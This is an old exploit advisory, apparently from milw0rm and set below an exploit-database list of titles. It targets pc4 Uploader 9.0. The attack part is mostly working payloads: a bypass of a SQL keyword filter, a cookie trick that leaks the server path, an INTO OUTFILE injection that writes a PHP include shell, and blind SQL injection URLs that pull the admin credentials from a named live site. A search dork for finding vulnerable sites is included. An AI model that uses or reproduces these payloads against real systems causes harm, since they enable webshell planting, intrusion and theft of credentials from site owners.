477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
103 lines
3.4 KiB
Text
Executable file
103 lines
3.4 KiB
Text
Executable file
|| || | ||
|
|
o_,_7 _|| . _o_7 _|| q_|_|| o_w_,
|
|
( : / (_) / ( .
|
|
|
|
|
|
=By: Qabandi
|
|
=Email: iqa[a]hotmail.fr
|
|
|
|
From Kuwait PEACE
|
|
|
|
=Vuln: pc4arb - pc4 Uploader <= 9.0 Blind SQL injection
|
|
=INFO: http://pc4arb.com/product-13.html
|
|
=BUY: http://pc4arb.com/deal-13.html
|
|
=DORK: intext:"Powered by Pc4Uploader v9.0"
|
|
|
|
|
|
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Filter-Bypass@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
----------Vulnerable code@ "./code.php"----------------------------------------
|
|
function filter_sql( $inputsql )
|
|
{
|
|
$regsql = "(delete)|(update)|(union)|(insert)";
|
|
return eregi_replace( $regsql, "", $inputsql );
|
|
}
|
|
------------------END----------------------------------------------------------
|
|
-=-===--=-=-==-=-==-=-=-=-=-=-=-=-POC-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
$Q = "UNIunionON";
|
|
filter_sql($Q);
|
|
echo $Q;
|
|
|
|
--
|
|
Result = UNION
|
|
|
|
We can use this to upload a file, using the "dumpfile" and "outfile" Mysql functions.
|
|
|
|
POC:-
|
|
|
|
conditions: magic_quotes_gpc = off // 0777 chmoded folder // location of folder.
|
|
|
|
To get location in server, we can generate an error using the STYLE cookie handler, to do this we need to set tempst=qabandi.
|
|
|
|
javascript:document.cookie="tempst=qabandi";
|
|
|
|
Refresh,
|
|
|
|
you will get the following:
|
|
|
|
Warning: file(templates/Qabandi/main_block.html) [function.file]: failed to open stream: No such file or directory in /home/XXXXXXX/public_html/function.php on line 33
|
|
|
|
now we have the location in server, "/home/XXXXXXX/public_html/"
|
|
|
|
"/home/XXXXXXX/public_html/upfiles/" <--- 99% of the time its chmoded 0777.
|
|
|
|
now the exploit:
|
|
|
|
http://localhost/pc4up/code.php?load=banner&id=-1 UNunionION select 1,2,3,'<? include($Q);?>',5,6,7,8,9 into outfile '/home/XXXXXXX/public_html/upfiles/qabandi.php'
|
|
|
|
|
|
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-BLIND SQL@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
----------Vulnerable code@ "./code.php"-----------------------------------------
|
|
|
|
if ( $_GET['load'] == "banner" )
|
|
{
|
|
$idx = $_GET['id'];
|
|
$idx = strip_tags( $idx );
|
|
$idx = filter_sql( $idx );/// <------ SIMPLY bypassed by using "unUNIONion" ;)
|
|
if ( !( $query_banner = mysql_query( "SELECT * FROM banners WHERE id={$idx}" ) ) )
|
|
{
|
|
exit( "Query failed" );
|
|
}
|
|
$x = mysql_fetch_row( $query_banner );
|
|
$url = $x[2];
|
|
$visits = $x[5];
|
|
if ( !( $query = mysql_query( "UPDATE banners SET visits=visits+1 WHERE id ={$idx}" ) ) )
|
|
{
|
|
exit( "Query failed" );
|
|
}
|
|
header( "Location: {$url}" );
|
|
}
|
|
|
|
|
|
--------------:PoC:-------------
|
|
conditions: admin must have added a banner using the "add banner" feature. the banner ID must be valid.
|
|
|
|
|
|
Blind SQL DEMO:-
|
|
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=4 <-- TRUE! (MySQL version 4)
|
|
|
|
|
|
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=5 <-- BLANK
|
|
|
|
|
|
To get info:
|
|
|
|
http://upload.traidnt.net/code.php?load=banner&id=1 and ascii(substring((SELECT concat(username,char(62),password) from admin limit 0,1),1,1))>95
|
|
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
-=-=-=-==-=LA tsta3mloha 3la elmowaqi3 el islamiya=-=-=-=-=-=-=-=-
|
|
=-=-=-=-==-=-=-=-=-=-No-More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.
|
|
|
|
# milw0rm.com [2009-05-18]
|